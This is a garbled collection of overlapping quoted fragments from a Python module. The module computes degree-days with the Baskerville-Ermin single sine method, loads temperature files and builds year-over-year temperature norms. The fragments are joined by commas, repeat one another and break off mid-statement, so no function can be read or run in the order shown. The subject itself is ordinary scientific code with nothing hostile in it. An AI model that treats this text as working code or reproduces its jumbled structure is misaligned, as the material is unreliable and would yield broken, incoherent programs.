os.path.join(basedir, temps_fn) tempdf", "daily or hourly (depending on `freq`)! norm_method : {'mean', 'median'}", "a 'long normal' (lnorm) dataframe year by year by appending", "degree-days for each day in the temperature input (from tmin", "point where cumulative sums of degree days cross the threshold", "= dateutil.tz.tzoffset(local_time_offset, tmp) #t.index = pd.to_datetime(t.index).tz_localize('UTC').tz_convert(sitetz) # @TCC this fails", "not relevant # Step 2: GDD = 0 if max", "code e.loc[~np.isnan(tmp)] = dd.index[tmp[~np.isnan(tmp)].astype(int)] e.loc[np.isnan(tmp)] = np.nan dd[label+'_end'] = e", "norm_end=None, freq='daily', interp_method='linear', norm_method='mean'): \"\"\" Parameters ---------- start: convertable to", "pd.concat((norm_ly,foo)).sort_index() norm_ly.sort_index(inplace=True) # probably not needed # build up a", "given (not None), output range does not include `norm_end` (it", "pd import dateutil def tempF2C(x): return (x-32.0)*5.0/9.0 def tempC2F(x): return", "{'mean', 'median'} \"\"\" if freq == 'hourly': hrs = 24", "range used: {} through {}\".format(tempdf.index[0], tempdf.index[-1])) return tempdf def load_temperature_csv(fn,", "# @TCC previous code dd[label] = (pd.to_datetime(e)-dd.index+pd.Timedelta(days=1)).apply(lambda x: np.nan if", "'tmax'] dd['DD'] = dd.apply(lambda x: _compute_daily_BM_DD(x[0], x[1], (x[0]+x[1])/2.0, base_temp), axis=1)", "dd[label] = (pd.to_datetime(e)-dd.index+pd.Timedelta(days=1)).apply(lambda x: np.nan if pd.isnull(x) else x.days) #dd.loc[np.isnan(tmp),", "x.days) #dd.loc[np.isnan(tmp), label] = np.nan print(\"DD dataframe min values\\n\", dd.min())", "resample and interpolation, so `in_dataframe` must already be daily or", "= np.nan # value which we're computing # Step 1:", "= local_time_offset.split(':') tmp = int(tmp[0])*3600+int(tmp[1])*60 sitetz = dateutil.tz.tzoffset(local_time_offset, tmp) tempdf.index", "in_dataframe.index[0] if norm_end is None: norm_end = in_dataframe.index[-1] else: norm_end", "'mean': norm = t.groupby([t.index.month, t.index.day, t.index.hour]).mean().sort_index() elif norm_method == 'median':", "is None: avet = (mint+maxt)/2.0 # simple midpoint (like in", "norm or norm_ly lnorm = None for yr in np.arange(start.year,", "pd.Timedelta('1 second') print('Computing using range:', norm_start, 'to', norm_end) if interp_method", "into end times e = pd.Series(index=dd.index, dtype='float64')#, dtype='datetime64[ns]') #e[~np.isnan(tmp)] =", ": str or None `None` will skip resample and interpolation,", "t.index.hour]).median().sort_index() else: assert False, \"Error: Unknown norm_method '{}'\".format(norm_method) # now", "def tempF2C(x): return (x-32.0)*5.0/9.0 def tempC2F(x): return (x*9.0/5.0)+32.0 def load_temperature_hdf5(temps_fn,", "## Load temperature # temps_fn = \"{}_AT_cleaned.h5\".format(station_callsign) logging.info(\"Using saved temperatures", "tempdf = tempdf.loc[:tmp] if start_year is not None: tempdf =", "grp = t.groupby(pd.TimeGrouper('D')) # dd = grp.agg(lambda x: _compute_daily_BM_DD(np.min(x), np.max(x),", "Datetime or None `None` will use in_dataframe.index[0] norm_end : convertable", "is None: norm_end = in_dataframe.index[-1] else: norm_end = pd.to_datetime([norm_end])[0] -", "elif norm_method == 'median': norm = t.groupby([t.index.month, t.index.day, t.index.hour]).median().sort_index() else:", "['DD'] # Find the point where cumulative sums of degree", "norm_method : {'mean', 'median'} \"\"\" if freq == 'hourly': hrs", "np.nan if pd.isnull(x) else x.days) #dd.loc[np.isnan(tmp), label] = np.nan print(\"DD", "'{:04d}-{:02d}-{:02d}'.format(x.year, x.month, x.day) tempdf = tempdf.loc[:tmp] if start_year is not", "1: Adjust for observation time; not relevant # Step 2:", "observation time; not relevant # Step 2: GDD = 0", "end = pd.to_datetime(end) # need a non-leapyear and leapyear version", "pd.MultiIndex.from_product( ([2],[29],list(range(hrs))) ) norm_ly = pd.concat((norm_ly,foo)).sort_index() norm_ly.sort_index(inplace=True) # probably not", "of Feb 28 and Mar 1 foo = (norm.loc[(2,28,)] +", "'{}'\".format(norm_method) # now replicate and trim to the desired output", "(from tmin and tmax vectors) dd = pd.concat([tmin,tmax], axis=1) dd.columns", "in_dataframe.index[0] norm_end : convertable to Datetime or None if given", "range of dates to output norm_start : convertable to Datetime", "= ['tmin', 'tmax'] dd['DD'] = dd.apply(lambda x: _compute_daily_BM_DD(x[0], x[1], (x[0]+x[1])/2.0,", "dtype='float64')#, dtype='datetime64[ns]') #e[~np.isnan(tmp)] = dd.index[tmp[~np.isnan(tmp)].astype(int)] # @TCC previous code e.loc[~np.isnan(tmp)]", "W = (maxt-mint)/2.0 tmp = (base_temp-avet) / W if tmp", "(base_temp-avet) / W if tmp < -1: print('WARNING: (base_temp-avet)/W =", "lnorm is None: lnorm = foo else: lnorm = lnorm.append(foo)", "data date range used: {} through {}\".format(tempdf.index[0], tempdf.index[-1])) return tempdf", "t.index.tz_localize('UTC') except TypeError: pass t.index = t.index.tz_convert(sitetz) return t #", "half-open) `None` will use in_dataframe.index[-1] freq : {'daily', 'hourly'} interp_method", "norm.drop((2,29,)) else: # norm doesn't include any leapyear data assert", "if idx.shape[0] == 366*hrs: foo = norm_ly.copy() else: assert norm.shape[0]", "(base_temp-avet)/W = {} : should be [-1:1]'.format(tmp)) tmp = -1", "return t # Function which computes BM (single sine method)", "tmp = int(tmp[0])*3600+int(tmp[1])*60 sitetz = dateutil.tz.tzoffset(local_time_offset, tmp) tempdf.index = tempdf.index.tz_convert(sitetz)", "# grp = t.groupby(pd.TimeGrouper('D')) # dd = grp.agg(lambda x: _compute_daily_BM_DD(np.min(x),", "366*hrs: foo = norm_ly.copy() else: assert norm.shape[0] == 365*hrs foo", "Step 2: GDD = 0 if max < base (curve", "base_temp): \"\"\"Use standard Baskerville-Ermin (single sine) degree-day method to compute", "base_temp: dd = 0 # Step 3: Calc mean temp", "else: assert norm.shape[0] == 365*hrs foo = norm.copy() foo.index =", "{}\".format(tempdf.index[0], tempdf.index[-1])) return tempdf def load_temperature_csv(fn, local_time_offset=None): t = pd.read_csv(fn,", "where cumulative sums of degree days cross the threshold cDD", "if lnorm is None: lnorm = foo else: lnorm =", "if tmp < -1: print('WARNING: (base_temp-avet)/W = {} : should", "raise ValueError(\"Invalid `freq` argument value: {}\".format(freq)) if norm_start is None:", "or None `None` will skip resample and interpolation, so `in_dataframe`", "of dates to output end: convertable to Datetime end range", "return dd def compute_year_over_year_norm(in_dataframe, start, end, norm_start=None, norm_end=None, freq='daily', interp_method='linear',", "convertable to Datetime or None if given (not None), output", "None: temps_fn = os.path.join(basedir, temps_fn) tempdf = pd.read_hdf(temps_fn, 'table') tmp", "not needed # build up a 'long normal' (lnorm) dataframe", "= int(tmp[0])*3600+int(tmp[1])*60 sitetz = dateutil.tz.tzoffset(local_time_offset, tmp) #t.index = pd.to_datetime(t.index).tz_localize('UTC').tz_convert(sitetz) #", "previous code dd[label] = (pd.to_datetime(e)-dd.index+pd.Timedelta(days=1)).apply(lambda x: np.nan if pd.isnull(x) else", "if start_year is not None: tempdf = tempdf.loc['{}-01-01'.format(start_year):] logging.info(\"Temperature data", "dates to output end: convertable to Datetime end range of", "through {}\".format(tempdf.index[0], tempdf.index[-1])) return tempdf def load_temperature_csv(fn, local_time_offset=None): t =", "= 1 hrs_freq = '24h' else: raise ValueError(\"Invalid `freq` argument", "foo.index = pd.MultiIndex.from_product( ([2],[29],list(range(hrs))) ) norm_ly = pd.concat((norm_ly,foo)).sort_index() norm_ly.sort_index(inplace=True) #", "using range:', norm_start, 'to', norm_end) if interp_method is None: #", "label] = np.nan print(\"DD dataframe min values\\n\", dd.min()) return dd", "Feb 28 and Mar 1 foo = (norm.loc[(2,28,)] + norm.loc[(3,1,)])", "tmp) tempdf.index = tempdf.index.tz_convert(sitetz) if truncate_to_full_day: x = tempdf.index[-1] if", "> 1: print('WARNING: (base_temp-avet)/W = {} : should be [-1:1]'.format(tmp))", "in_dataframe is daily!) t = in_dataframe.loc[norm_start:norm_end] else: # resample and", "t.index = t.index.tz_convert(sitetz) return t # Function which computes BM", "2: GDD = 0 if max < base (curve all", "np.zeros(len(dd['DD']))*np.nan tmp = np.searchsorted(cDD, cDD+(cumdd_threshold)-dd['DD'], side='left').astype(float) tmp[tmp>=len(tmp)] = np.nan #dd[label+'_idx']", "t = in_dataframe.loc[norm_start:norm_end] else: # resample and interpolate to get", "output end: convertable to Datetime end range of dates to", "(it is half-open) `None` will use in_dataframe.index[-1] freq : {'daily',", "if truncate_to_full_day: x = tempdf.index[-1] if x.hour != 23: x", "cumdd_threshold,label in [[1*dd_gen,'F1'], [2*dd_gen,'F2'], [3*dd_gen,'F3']]: dtmp = np.zeros(len(dd['DD']))*np.nan tmp =", "pd.Series(index=dd.index, dtype='float64')#, dtype='datetime64[ns]') #e[~np.isnan(tmp)] = dd.index[tmp[~np.isnan(tmp)].astype(int)] # @TCC previous code", "None: # skip resample+interpolation (assumes in_dataframe is daily!) t =", ": should be [-1:1]'.format(tmp)) tmp = 1 A = np.arcsin(tmp)", "resample and interpolate to get hourly t = in_dataframe.resample(hrs_freq).interpolate(method=interp_method).loc[norm_start:norm_end] if", "from temperature data def compute_BMDD_Fs(tmin, tmax, base_temp, dd_gen): # Used", "tmp[tmp>=len(tmp)] = np.nan #dd[label+'_idx'] = tmp # convert those indexes", "import sys import os import logging import numpy as np", "[-1:1]'.format(tmp)) tmp = 1 A = np.arcsin(tmp) dd = ((W*np.cos(A))-((base_temp-avet)*((np.pi/2.0)-A)))/np.pi", "compute_BMDD_Fs(tmin, tmax, base_temp, dd_gen): # Used internally def _compute_daily_BM_DD(mint, maxt,", "temperature input (from tmin and tmax vectors) dd = pd.concat([tmin,tmax],", "[3*dd_gen,'F3']]: dtmp = np.zeros(len(dd['DD']))*np.nan tmp = np.searchsorted(cDD, cDD+(cumdd_threshold)-dd['DD'], side='left').astype(float) tmp[tmp>=len(tmp)]", "# convert those indexes into end times e = pd.Series(index=dd.index,", "dd[label+'_end'] = e # and duration... #dd[label] = (e-dd.index+pd.Timedelta(days=1)).apply(lambda x:", "those indexes into end times e = pd.Series(index=dd.index, dtype='float64')#, dtype='datetime64[ns]')", "input (from tmin and tmax vectors) dd = pd.concat([tmin,tmax], axis=1)", "dd.min()) return dd def compute_year_over_year_norm(in_dataframe, start, end, norm_start=None, norm_end=None, freq='daily',", "pd.date_range(start='{}-{:02d}-{:02d} {:02d}:00:00'.format(yr,*norm.index[0]), end= '{}-{:02d}-{:02d} {:02d}:00:00'.format(yr,*norm.index[-1]), freq=hrs_freq) if idx.shape[0] == 366*hrs:", "((W*np.cos(A))-((base_temp-avet)*((np.pi/2.0)-A)))/np.pi return dd # compute the degree-days for each day", "hourly (depending on `freq`)! norm_method : {'mean', 'median'} \"\"\" if", "x = tempdf.index[-1] if x.hour != 23: x = x-pd.Timedelta(days=1)", "dd.index[tmp[~np.isnan(tmp)].astype(int)] e.loc[np.isnan(tmp)] = np.nan dd[label+'_end'] = e # and duration...", "will skip resample and interpolation, so `in_dataframe` must already be", "relevant # Step 2: GDD = 0 if max <", "# resample and interpolate to get hourly t = in_dataframe.resample(hrs_freq).interpolate(method=interp_method).loc[norm_start:norm_end]", "= idx if lnorm is None: lnorm = foo else:", "temp for day; already done previously # Step 4: min", "interp_method : str or None `None` will skip resample and", "is None: lnorm = foo else: lnorm = lnorm.append(foo) return", "norm_ly.sort_index(inplace=True) # probably not needed # build up a 'long", ": {'daily', 'hourly'} interp_method : str or None `None` will", "norm_end = pd.to_datetime([norm_end])[0] - pd.Timedelta('1 second') print('Computing using range:', norm_start,", "# value which we're computing # Step 1: Adjust for", "base_temp)) # dd.columns = ['DD'] # Find the point where", "\"{}_AT_cleaned.h5\".format(station_callsign) logging.info(\"Using saved temperatures file '{}'\".format(temps_fn)) if basedir is not", "tmp = (base_temp-avet) / W if tmp < -1: print('WARNING:", "tmin and tmax vectors) dd = pd.concat([tmin,tmax], axis=1) dd.columns =", "for each day in the temperature input (from a daily", "in_dataframe.loc[norm_start:norm_end] else: # resample and interpolate to get hourly t", "if max < base (curve all below base) if maxt", "#dd.loc[np.isnan(tmp), label] = np.nan print(\"DD dataframe min values\\n\", dd.min()) return", "tempF2C(x): return (x-32.0)*5.0/9.0 def tempC2F(x): return (x*9.0/5.0)+32.0 def load_temperature_hdf5(temps_fn, local_time_offset,", "Datetime start range of dates to output end: convertable to", "max < base (curve all below base) if maxt <", "value: {}\".format(freq)) if norm_start is None: norm_start = in_dataframe.index[0] if", "convertable to Datetime start range of dates to output end:", "tempdf.index[-1] if x.hour != 23: x = x-pd.Timedelta(days=1) tmp =", "generation from temperature data def compute_BMDD_Fs(tmin, tmax, base_temp, dd_gen): #", "temps_fn = os.path.join(basedir, temps_fn) tempdf = pd.read_hdf(temps_fn, 'table') tmp =", "norm_start : convertable to Datetime or None `None` will use", "`freq` argument value: {}\".format(freq)) if norm_start is None: norm_start =", "str or None `None` will skip resample and interpolation, so", "None: tempdf = tempdf.loc['{}-01-01'.format(start_year):] logging.info(\"Temperature data date range used: {}", "mint >= base_temp: dd = avet - base_temp # Step", "t.index.day, t.index.hour]).median().sort_index() else: assert False, \"Error: Unknown norm_method '{}'\".format(norm_method) #", "and leapyear version norm_ly = norm.copy() if norm.shape[0] == 366*hrs:", "= {} : should be [-1:1]'.format(tmp)) tmp = -1 if", "'hourly': hrs = 24 hrs_freq = '1h' elif freq ==", "= -1 if tmp > 1: print('WARNING: (base_temp-avet)/W = {}", "np.nan #dd[label+'_idx'] = tmp # convert those indexes into end", "dataframe year by year by appending the norm or norm_ly", "input (from a daily groupby) # grp = t.groupby(pd.TimeGrouper('D')) #", "if local_time_offset is not None: tmp = local_time_offset.split(':') tmp =", "Step 1: Adjust for observation time; not relevant # Step", "= np.nan print(\"DD dataframe min values\\n\", dd.min()) return dd def", "need a non-leapyear and leapyear version norm_ly = norm.copy() if", "pd.isnull(x) else x.days) # @TCC previous code dd[label] = (pd.to_datetime(e)-dd.index+pd.Timedelta(days=1)).apply(lambda", "== 'mean': norm = t.groupby([t.index.month, t.index.day, t.index.hour]).mean().sort_index() elif norm_method ==", "# Step 1: Adjust for observation time; not relevant #", "(norm.loc[(2,28,)] + norm.loc[(3,1,)]) / 2.0 foo.index = pd.MultiIndex.from_product( ([2],[29],list(range(hrs))) )", "norm_ly = norm.copy() if norm.shape[0] == 366*hrs: norm = norm.drop((2,29,))", "in_dataframe.index[-1] freq : {'daily', 'hourly'} interp_method : str or None", "norm = t.groupby([t.index.month, t.index.day, t.index.hour]).mean().sort_index() elif norm_method == 'median': norm", "argument value: {}\".format(freq)) if norm_start is None: norm_start = in_dataframe.index[0]", "= (mint+maxt)/2.0 # simple midpoint (like in the refs) dd", "below base) if maxt < base_temp: dd = 0 #", "t = in_dataframe.resample(hrs_freq).interpolate(method=interp_method).loc[norm_start:norm_end] if norm_method == 'mean': norm = t.groupby([t.index.month,", "elif mint >= base_temp: dd = avet - base_temp #", "np.max(x), None, base_temp)) # dd.columns = ['DD'] # Find the", "this fails if csv contains datetimes with TZ t.index =", "which we're computing # Step 1: Adjust for observation time;", "previously # Step 4: min > base; then whole curve", "x: np.nan if pd.isnull(x) else x.days) #dd.loc[np.isnan(tmp), label] = np.nan", "e # and duration... #dd[label] = (e-dd.index+pd.Timedelta(days=1)).apply(lambda x: np.nan if", "dates to output norm_start : convertable to Datetime or None", "# @TCC this fails if csv contains datetimes with TZ", "hrs = 1 hrs_freq = '24h' else: raise ValueError(\"Invalid `freq`", "base else: W = (maxt-mint)/2.0 tmp = (base_temp-avet) / W", "the temperature input (from a daily groupby) # grp =", "# @TCC previous code e.loc[~np.isnan(tmp)] = dd.index[tmp[~np.isnan(tmp)].astype(int)] e.loc[np.isnan(tmp)] = np.nan", "sums of degree days cross the threshold cDD = dd['DD'].cumsum(skipna=True)", "def load_temperature_hdf5(temps_fn, local_time_offset, basedir=None, start_year=None, truncate_to_full_day=False): ## Load temperature #", "x = x-pd.Timedelta(days=1) tmp = '{:04d}-{:02d}-{:02d}'.format(x.year, x.month, x.day) tempdf =", "# Function which computes BM (single sine method) degree day", "truncate_to_full_day: x = tempdf.index[-1] if x.hour != 23: x =", "= pd.concat((norm_ly,foo)).sort_index() norm_ly.sort_index(inplace=True) # probably not needed # build up", "# compute the degree-days for each day in the temperature", "day; already done previously # Step 4: min > base;", "W if tmp < -1: print('WARNING: (base_temp-avet)/W = {} :", "= t.groupby([t.index.month, t.index.day, t.index.hour]).median().sort_index() else: assert False, \"Error: Unknown norm_method", "366*hrs: norm = norm.drop((2,29,)) else: # norm doesn't include any", "else x.days) # @TCC previous code dd[label] = (pd.to_datetime(e)-dd.index+pd.Timedelta(days=1)).apply(lambda x:", "is None: # skip resample+interpolation (assumes in_dataframe is daily!) t", "np.nan # value which we're computing # Step 1: Adjust", "avet is None: avet = (mint+maxt)/2.0 # simple midpoint (like", "sitetz = dateutil.tz.tzoffset(local_time_offset, tmp) #t.index = pd.to_datetime(t.index).tz_localize('UTC').tz_convert(sitetz) # @TCC this", "dd.apply(lambda x: _compute_daily_BM_DD(x[0], x[1], (x[0]+x[1])/2.0, base_temp), axis=1) # compute the", "== 366*hrs: foo = norm_ly.copy() else: assert norm.shape[0] == 365*hrs", "= ['DD'] # Find the point where cumulative sums of", "(e-dd.index+pd.Timedelta(days=1)).apply(lambda x: np.nan if pd.isnull(x) else x.days) # @TCC previous", "truncate_to_full_day=False): ## Load temperature # temps_fn = \"{}_AT_cleaned.h5\".format(station_callsign) logging.info(\"Using saved", "= pd.to_datetime(t.index).tz_localize('UTC').tz_convert(sitetz) # @TCC this fails if csv contains datetimes", "interp_method='linear', norm_method='mean'): \"\"\" Parameters ---------- start: convertable to Datetime start", "norm.shape[0] == 365*hrs foo = norm.copy() foo.index = idx if", "else x.days) #dd.loc[np.isnan(tmp), label] = np.nan print(\"DD dataframe min values\\n\",", "{'daily', 'hourly'} interp_method : str or None `None` will skip", "if interp_method is None: # skip resample+interpolation (assumes in_dataframe is", "temperature input (from a daily groupby) # grp = t.groupby(pd.TimeGrouper('D'))", "with TZ t.index = pd.to_datetime(t.index) try: t.index = t.index.tz_localize('UTC') except", "= avet - base_temp # Step 5: else use curve", "if norm_method == 'mean': norm = t.groupby([t.index.month, t.index.day, t.index.hour]).mean().sort_index() elif", "False, \"Error: Unknown norm_method '{}'\".format(norm_method) # now replicate and trim", "28 and Mar 1 foo = (norm.loc[(2,28,)] + norm.loc[(3,1,)]) /", "norm_method '{}'\".format(norm_method) # now replicate and trim to the desired", "a non-leapyear and leapyear version norm_ly = norm.copy() if norm.shape[0]", "else: # norm doesn't include any leapyear data assert norm.shape[0]", "skip resample+interpolation (assumes in_dataframe is daily!) t = in_dataframe.loc[norm_start:norm_end] else:", "for cumdd_threshold,label in [[1*dd_gen,'F1'], [2*dd_gen,'F2'], [3*dd_gen,'F3']]: dtmp = np.zeros(len(dd['DD']))*np.nan tmp", "end times e = pd.Series(index=dd.index, dtype='float64')#, dtype='datetime64[ns]') #e[~np.isnan(tmp)] = dd.index[tmp[~np.isnan(tmp)].astype(int)]", "Adjust for observation time; not relevant # Step 2: GDD", "/ W if tmp < -1: print('WARNING: (base_temp-avet)/W = {}", "a single day. \"\"\" if avet is None: avet =", "norm_end : convertable to Datetime or None if given (not", "the degree-day values for each a single day. \"\"\" if", "cross the threshold cDD = dd['DD'].cumsum(skipna=True) for cumdd_threshold,label in [[1*dd_gen,'F1'],", "# dd = grp.agg(lambda x: _compute_daily_BM_DD(np.min(x), np.max(x), None, base_temp)) #", "in [[1*dd_gen,'F1'], [2*dd_gen,'F2'], [3*dd_gen,'F3']]: dtmp = np.zeros(len(dd['DD']))*np.nan tmp = np.searchsorted(cDD,", "else: norm_end = pd.to_datetime([norm_end])[0] - pd.Timedelta('1 second') print('Computing using range:',", "resample+interpolation (assumes in_dataframe is daily!) t = in_dataframe.loc[norm_start:norm_end] else: #", "convertable to Datetime or None `None` will use in_dataframe.index[0] norm_end", "if given (not None), output range does not include `norm_end`", "norm.shape[0] == 365*hrs # make Feb 29 the mean of", "maxt < base_temp: dd = 0 # Step 3: Calc", "be [-1:1]'.format(tmp)) tmp = -1 if tmp > 1: print('WARNING:", "Baskerville-Ermin (single sine) degree-day method to compute the degree-day values", "@TCC previous code e.loc[~np.isnan(tmp)] = dd.index[tmp[~np.isnan(tmp)].astype(int)] e.loc[np.isnan(tmp)] = np.nan dd[label+'_end']", "< -1: print('WARNING: (base_temp-avet)/W = {} : should be [-1:1]'.format(tmp))", "== 'median': norm = t.groupby([t.index.month, t.index.day, t.index.hour]).median().sort_index() else: assert False,", "temperature # temps_fn = \"{}_AT_cleaned.h5\".format(station_callsign) logging.info(\"Using saved temperatures file '{}'\".format(temps_fn))", "will use in_dataframe.index[-1] freq : {'daily', 'hourly'} interp_method : str", "lnorm = None for yr in np.arange(start.year, end.year+1): #print(yr) idx", "Step 5: else use curve minus part below base else:", "on `freq`)! norm_method : {'mean', 'median'} \"\"\" if freq ==", "t.index.day, t.index.hour]).mean().sort_index() elif norm_method == 'median': norm = t.groupby([t.index.month, t.index.day,", "dd_gen): # Used internally def _compute_daily_BM_DD(mint, maxt, avet, base_temp): \"\"\"Use", "is not None: temps_fn = os.path.join(basedir, temps_fn) tempdf = pd.read_hdf(temps_fn,", "for each a single day. \"\"\" if avet is None:", "# Used internally def _compute_daily_BM_DD(mint, maxt, avet, base_temp): \"\"\"Use standard", "vectors) dd = pd.concat([tmin,tmax], axis=1) dd.columns = ['tmin', 'tmax'] dd['DD']", "if x.hour != 23: x = x-pd.Timedelta(days=1) tmp = '{:04d}-{:02d}-{:02d}'.format(x.year,", "5: else use curve minus part below base else: W", "Load temperature # temps_fn = \"{}_AT_cleaned.h5\".format(station_callsign) logging.info(\"Using saved temperatures file", "sitetz = dateutil.tz.tzoffset(local_time_offset, tmp) tempdf.index = tempdf.index.tz_convert(sitetz) if truncate_to_full_day: x", "hrs = 24 hrs_freq = '1h' elif freq == 'daily':", "min > base; then whole curve counts elif mint >=", "data def compute_BMDD_Fs(tmin, tmax, base_temp, dd_gen): # Used internally def", "freq=hrs_freq) if idx.shape[0] == 366*hrs: foo = norm_ly.copy() else: assert", "the temperature input (from tmin and tmax vectors) dd =", "freq == 'hourly': hrs = 24 hrs_freq = '1h' elif", "leapyear data assert norm.shape[0] == 365*hrs # make Feb 29", "Parameters ---------- start: convertable to Datetime start range of dates", "= tmp # convert those indexes into end times e", "A = np.arcsin(tmp) dd = ((W*np.cos(A))-((base_temp-avet)*((np.pi/2.0)-A)))/np.pi return dd # compute", "\"\"\" if freq == 'hourly': hrs = 24 hrs_freq =", "normal' (lnorm) dataframe year by year by appending the norm", "for each day in the temperature input (from tmin and", "= pd.to_datetime(start) end = pd.to_datetime(end) # need a non-leapyear and", "tempdf def load_temperature_csv(fn, local_time_offset=None): t = pd.read_csv(fn, index_col=0) if local_time_offset", "we're computing # Step 1: Adjust for observation time; not", "{} through {}\".format(tempdf.index[0], tempdf.index[-1])) return tempdf def load_temperature_csv(fn, local_time_offset=None): t", "dd = np.nan # value which we're computing # Step", "any leapyear data assert norm.shape[0] == 365*hrs # make Feb", "foo = (norm.loc[(2,28,)] + norm.loc[(3,1,)]) / 2.0 foo.index = pd.MultiIndex.from_product(", "(single sine) degree-day method to compute the degree-day values for", "# make Feb 29 the mean of Feb 28 and", "use in_dataframe.index[-1] freq : {'daily', 'hourly'} interp_method : str or", "dd['DD'].cumsum(skipna=True) for cumdd_threshold,label in [[1*dd_gen,'F1'], [2*dd_gen,'F2'], [3*dd_gen,'F3']]: dtmp = np.zeros(len(dd['DD']))*np.nan", "`freq`)! norm_method : {'mean', 'median'} \"\"\" if freq == 'hourly':", ": {'mean', 'median'} \"\"\" if freq == 'hourly': hrs =", "-1: print('WARNING: (base_temp-avet)/W = {} : should be [-1:1]'.format(tmp)) tmp", "Mar 1 foo = (norm.loc[(2,28,)] + norm.loc[(3,1,)]) / 2.0 foo.index", "to the desired output range start = pd.to_datetime(start) end =", "tmp = local_time_offset.split(':') tmp = int(tmp[0])*3600+int(tmp[1])*60 sitetz = dateutil.tz.tzoffset(local_time_offset, tmp)", "t.index = pd.to_datetime(t.index) try: t.index = t.index.tz_localize('UTC') except TypeError: pass", "dateutil def tempF2C(x): return (x-32.0)*5.0/9.0 def tempC2F(x): return (x*9.0/5.0)+32.0 def", "x.days) # @TCC previous code dd[label] = (pd.to_datetime(e)-dd.index+pd.Timedelta(days=1)).apply(lambda x: np.nan", "year by year by appending the norm or norm_ly lnorm", "x.hour != 23: x = x-pd.Timedelta(days=1) tmp = '{:04d}-{:02d}-{:02d}'.format(x.year, x.month,", "else: assert False, \"Error: Unknown norm_method '{}'\".format(norm_method) # now replicate", "times e = pd.Series(index=dd.index, dtype='float64')#, dtype='datetime64[ns]') #e[~np.isnan(tmp)] = dd.index[tmp[~np.isnan(tmp)].astype(int)] #", "internally def _compute_daily_BM_DD(mint, maxt, avet, base_temp): \"\"\"Use standard Baskerville-Ermin (single", "- pd.Timedelta('1 second') print('Computing using range:', norm_start, 'to', norm_end) if", "np.searchsorted(cDD, cDD+(cumdd_threshold)-dd['DD'], side='left').astype(float) tmp[tmp>=len(tmp)] = np.nan #dd[label+'_idx'] = tmp #", "3: Calc mean temp for day; already done previously #", "# dd.columns = ['DD'] # Find the point where cumulative", "= norm.copy() foo.index = idx if lnorm is None: lnorm", "value which we're computing # Step 1: Adjust for observation", "None: norm_end = in_dataframe.index[-1] else: norm_end = pd.to_datetime([norm_end])[0] - pd.Timedelta('1", "idx = pd.date_range(start='{}-{:02d}-{:02d} {:02d}:00:00'.format(yr,*norm.index[0]), end= '{}-{:02d}-{:02d} {:02d}:00:00'.format(yr,*norm.index[-1]), freq=hrs_freq) if idx.shape[0]", "local_time_offset=None): t = pd.read_csv(fn, index_col=0) if local_time_offset is not None:", "tempdf.loc['{}-01-01'.format(start_year):] logging.info(\"Temperature data date range used: {} through {}\".format(tempdf.index[0], tempdf.index[-1]))", "the point where cumulative sums of degree days cross the", "= t.index.tz_localize('UTC') except TypeError: pass t.index = t.index.tz_convert(sitetz) return t", "# simple midpoint (like in the refs) dd = np.nan", "range of dates to output end: convertable to Datetime end", "output norm_start : convertable to Datetime or None `None` will", "base_temp, dd_gen): # Used internally def _compute_daily_BM_DD(mint, maxt, avet, base_temp):", "pd.to_datetime(end) # need a non-leapyear and leapyear version norm_ly =", "dd def compute_year_over_year_norm(in_dataframe, start, end, norm_start=None, norm_end=None, freq='daily', interp_method='linear', norm_method='mean'):", "is None: norm_start = in_dataframe.index[0] if norm_end is None: norm_end", "= pd.to_datetime([norm_end])[0] - pd.Timedelta('1 second') print('Computing using range:', norm_start, 'to',", "freq : {'daily', 'hourly'} interp_method : str or None `None`", "in the refs) dd = np.nan # value which we're", "if avet is None: avet = (mint+maxt)/2.0 # simple midpoint", "print(\"DD dataframe min values\\n\", dd.min()) return dd def compute_year_over_year_norm(in_dataframe, start,", ") norm_ly = pd.concat((norm_ly,foo)).sort_index() norm_ly.sort_index(inplace=True) # probably not needed #", "not None: tempdf = tempdf.loc['{}-01-01'.format(start_year):] logging.info(\"Temperature data date range used:", "to Datetime or None `None` will use in_dataframe.index[0] norm_end :", "([2],[29],list(range(hrs))) ) norm_ly = pd.concat((norm_ly,foo)).sort_index() norm_ly.sort_index(inplace=True) # probably not needed", "to get hourly t = in_dataframe.resample(hrs_freq).interpolate(method=interp_method).loc[norm_start:norm_end] if norm_method == 'mean':", "`None` will use in_dataframe.index[-1] freq : {'daily', 'hourly'} interp_method :", "use in_dataframe.index[0] norm_end : convertable to Datetime or None if", "(lnorm) dataframe year by year by appending the norm or", "range:', norm_start, 'to', norm_end) if interp_method is None: # skip", "< base (curve all below base) if maxt < base_temp:", "tempdf.index.tz_convert(sitetz) if truncate_to_full_day: x = tempdf.index[-1] if x.hour != 23:", "pd.to_datetime(t.index) try: t.index = t.index.tz_localize('UTC') except TypeError: pass t.index =", "tmax vectors) dd = pd.concat([tmin,tmax], axis=1) dd.columns = ['tmin', 'tmax']", "t.groupby([t.index.month, t.index.day, t.index.hour]).median().sort_index() else: assert False, \"Error: Unknown norm_method '{}'\".format(norm_method)", "{}\".format(freq)) if norm_start is None: norm_start = in_dataframe.index[0] if norm_end", "1 A = np.arcsin(tmp) dd = ((W*np.cos(A))-((base_temp-avet)*((np.pi/2.0)-A)))/np.pi return dd #", "so `in_dataframe` must already be daily or hourly (depending on", ": convertable to Datetime or None if given (not None),", "range start = pd.to_datetime(start) end = pd.to_datetime(end) # need a", "logging.info(\"Temperature data date range used: {} through {}\".format(tempdf.index[0], tempdf.index[-1])) return", "avet = (mint+maxt)/2.0 # simple midpoint (like in the refs)", "(curve all below base) if maxt < base_temp: dd =", "= t.groupby(pd.TimeGrouper('D')) # dd = grp.agg(lambda x: _compute_daily_BM_DD(np.min(x), np.max(x), None,", "= tempdf.index[-1] if x.hour != 23: x = x-pd.Timedelta(days=1) tmp", "x[1], (x[0]+x[1])/2.0, base_temp), axis=1) # compute the degree-days for each", "= os.path.join(basedir, temps_fn) tempdf = pd.read_hdf(temps_fn, 'table') tmp = local_time_offset.split(':')", "# norm doesn't include any leapyear data assert norm.shape[0] ==", "duration... #dd[label] = (e-dd.index+pd.Timedelta(days=1)).apply(lambda x: np.nan if pd.isnull(x) else x.days)", "# now replicate and trim to the desired output range", "= pd.Series(index=dd.index, dtype='float64')#, dtype='datetime64[ns]') #e[~np.isnan(tmp)] = dd.index[tmp[~np.isnan(tmp)].astype(int)] # @TCC previous", "base (curve all below base) if maxt < base_temp: dd", "#dd[label] = (e-dd.index+pd.Timedelta(days=1)).apply(lambda x: np.nan if pd.isnull(x) else x.days) #", "if norm_start is None: norm_start = in_dataframe.index[0] if norm_end is", "== 'daily': hrs = 1 